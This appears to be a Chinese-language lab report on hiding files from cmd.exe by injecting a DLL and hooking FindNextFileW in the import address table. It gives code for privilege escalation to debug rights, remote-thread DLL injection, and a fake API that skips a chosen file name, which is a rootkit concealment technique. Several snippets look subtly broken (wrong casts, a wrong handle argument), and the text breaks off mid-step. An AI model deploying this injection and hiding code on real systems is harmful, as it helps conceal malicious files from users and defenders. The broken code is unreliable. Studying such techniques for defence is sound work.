# 基于 IAT hook 的文件隐藏功能
## 一 实验目的:实现基于 IAT hook 的文件隐藏功能
## 二 实验内容:
1. 分析 explorer.exe 和 cmd.exe 等可以查看文件目录的系统程序遍历文件的实现机制
2. 通过 IAT Hook 的方法篡改它们的导入表,使这两个程序查看不到文件系统中指定名称的文件。
## 三 实验过程
1、主程序
(1)功能:将自己编写的包含有攻击代码的 dll 文件注入到目标进程(本实验选择注入到“cmd.exe”)
(2)代码逻辑:
提升本进程权限——> 获取目标进程的 PID——> 获得要注入进程的句柄——> 在远程进程中开辟出一段内存——> 将包含恶意代码的 dll 的名字写入上一步开辟出的内存中——> 在被注入进程中创建新线程加载该 dll——> 卸载注入的 dll
(3)实现细节
① 提升本进程权限
目的:在操作系统进程时,需要提升自己编写的进程到系统权限,以免发生操作失败现象
所用函数:
```
//获取当前进程句柄
GetCurrentProcess()
//获得进程访问令牌的句柄。第一参数是要修改访问权限的进程句柄;第二个参数指定要进行的操作类型(TOKEN_ADJUST_PRIVILEGES:修改令牌的访问权限,TOKEN_QUERY:查询令牌);第三个参数是返回的访问令牌指针
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
:
//获取一个权限对应的LUID值(代表指定的特权名称),第一个参数是系统的名称(本地系统为NULL),第二个参数指明权限的名称(SE_DEBUG_NAME:Required to debug and adjust the memory of a process owned by another account.);第三个参数返回LUID的指针
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
//根据上一步获取的LUID值,为相应特权赋予新的特权属性(SE_PRIVILEGE_ENABLED:特权启用.)。
TOKEN_PRIVILEGES tkp;
tkp.Privileges[0].Luid = luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//对之前获得的访问令牌进行修改,使进程获得调试权。第一个参数是访问令牌的句柄;第二个参数为FALSE表示根据后一个参数进行权限修改;第三个参数指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针
AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL);
```
② 获取目标进程的 PID
目的:PID 为进程唯一标识,获取后方便后面获取目标进程的句柄
所用函数:getProcessHandle();
③ 获得要注入进程的句柄
目的:获得目标进程操作内存空间的权限(可用 VirtualProtectEx 和 WriteProcessMemory)
所用函数:
```
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwpid);
```
④ 在远程进程中开辟出一段内存
目的:开辟空间用来存放要调用的 dll 的路径
所用函数:
```
//name + ’
DWORD dwSize = strlen(lpDllName) + 1;
//在指定进程内开辟虚拟空间,第一个参数:申请内存所在的进程句柄;第二个参数:保留页面的内存地址;一般用NULL自动分配;第三个参数:欲分配的内存大小。MEM_COMMIT:为特定的页面区域分配物理存储;PAGE_READWRITE:区域可被应用程序读写
LPVOID lpRemoteBuf = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
```
⑤ 将包含恶意代码的 dll 的名字写入上一步开辟出的内存中
所用函数:
```
//写入内存,函数执行成功返回写入的字节数
WriteProcessMemory(hProcess, lpRemoteBuf, lpDllName, dwSize,(SIZE_T)&dwHasWrite);
//若写入失败,应释放之前分配的内存
VirtualFreeEx(hProcess, lpRemoteBuf, dwSize, MEM_COMMIT);
⑥在被注入进程中创建新线程加载该dll
```
目的:调用 dll 执行恶意代码
所用函数:
```
DWORD dwNewThreadId;
//使用LoadLibrary函数来加载动态链接库
LPVOID lpLoadDll = LoadLibraryA;
//创建远程线程,第一个参数为线程所属进程的进程句柄;第三个参数为线程初始大小,以字节为单位,如果该值设为0,那么使用系统默认大小;第四个参数为在远程进程的地址空间中,该线程的线程函数的起始地址.
HANDLE hNewRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpLoadDll, lpRemoteBuf, 0, &dwNewThreadId);
```
⑦ 卸载注入的 dll
思路:获得在远程线程中被注入的 Dll 的句柄 —> 卸载 Dll
所用函数:
```
//获得在远程线程中被注入的Dll的句柄
LPVOID pFunc = GetModuleHandleA;
//获取DLL模块的路径
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpRemoteBuf, 0, &dwID);
GetExitCodeThread(hThread, &dwHandle);
//线程的结束码即为Dll模块儿的句柄,存入dwHandle中
//将FreeLibraryA注入到远程线程中卸载Dll
pFunc = FreeLibrary;
hThread = CreateRemoteThread(hThread, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)dwHandle, 0, &dwID);
```
2、IATHOOK 程序(fakedll.dll 中调用的攻击代码)
(1)功能:程序中每个调用 API 函数的 CALL 指令所使用的地址都是相应函数登记在 IAT 表的地址,我们将目标进程(cmd.exe)中的 FindNextFileW 函数(遍历文件目录时使用,存储了文件名等信息)在 IAT 表中的地址替换为攻击者编写的虚假 FindNextFileW 函数地址,其中在读到指定文件时在 cmd.exe 界面上不会显示该文件文件名,起到文件隐藏的作用。程序中每个调用 API 函数的 CALL 指令所使用的地址都是相应函数登记在 IAT 表的地址。
(2)代码逻辑:
![](https://www.writebug.com/myres/static/uploads/2022/9/21/e99e3b7dc0f633ab3674570216c1d3ca.writebug)
(3)具体实现
① 编写假 API 函数
思路:先调用原始 findnextfile 函数,根据返回的文件名确定是否是要隐藏的文件,若是则不显示此次调用的结果,直接再次调用 findnextfile 函数;若不是则将结果直接返回。
实现代码:
```
//遍历IAT表获得API函数真实地址
pHookBlock->pOrigin = (void)pRealThunk->u1.Function;
//调用原始findnextfile函数
bool val = fnOrigin(hFindFile, lpFindFileData);
//返回结果的文件名与待隐藏文件文件名比较,相同则跳过
if (0 == wcscmp(File, (wchar_t)lpFindFileData->cFileName))//调用之后进行判断是否为目标文件
{
return fnOrigin(hFindFile, lpFindFileData);
}
```
② 申请一块空白空间来放置假 API 函数
实现代码:
```
//分配指定大小内存空间
pMemory = malloc(nNeedSize);
//清零该内存空间
RtlZeroMemory(pMemory, nNeedSize);
```
③ 将有关参数写入申请的内存中
实现代码:
```
pHookBlock->pImageBase = pImageBase;
//写入dll文件的基地址
pHookBlock->pszImportDllName = pszImportDllName;
//写入加载的dll名称
pHookBlock->pszRoutineName = pszRoutineName;
//写入调用的API函数的名称
pHookBlock->pFake = pFakeRoutine;
//写入编写的假API函数
```
④ 获取目标进程导入表地址,遍历导入表获得 findnextfile 函数所在 dll 的位置
实现代码:
```
//dos头位于进程基地址
pDosHeader = (IMAGE_DOS_HEADER)pHookBlock->pImageBase;
//通过dos头找到nt头
pNTHeaders = (IMAGE_NT_HEADERS)((UcHAR)pHookBlock->pImageBase + pDosHeader->e_lfanew);
//获取导入表实际地址
pImportDescriptor = (IMAGE_IMPORT_DESCRIPTOR)((UcHAR)pDosHeader + pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
for (; (pImportDescriptor->Name != 0); pImportDescriptor++)
{
pszImportDllName = (char)pHookBlock->pImageBase + pImportDescriptor->Name;
if (NULL != pHookBlock->pszImportDllName)
{
//比较是否是需要寻找的dll,找到地址后进行下一步操作
if (0 != _stricmp(pszImportDllName, pHookBlock->pszImportDllName))
{
continue;
}
}
}
```
⑤ 找到指定 dll 的地址后,在 IAT 表中该 dll 下包含的 API 函�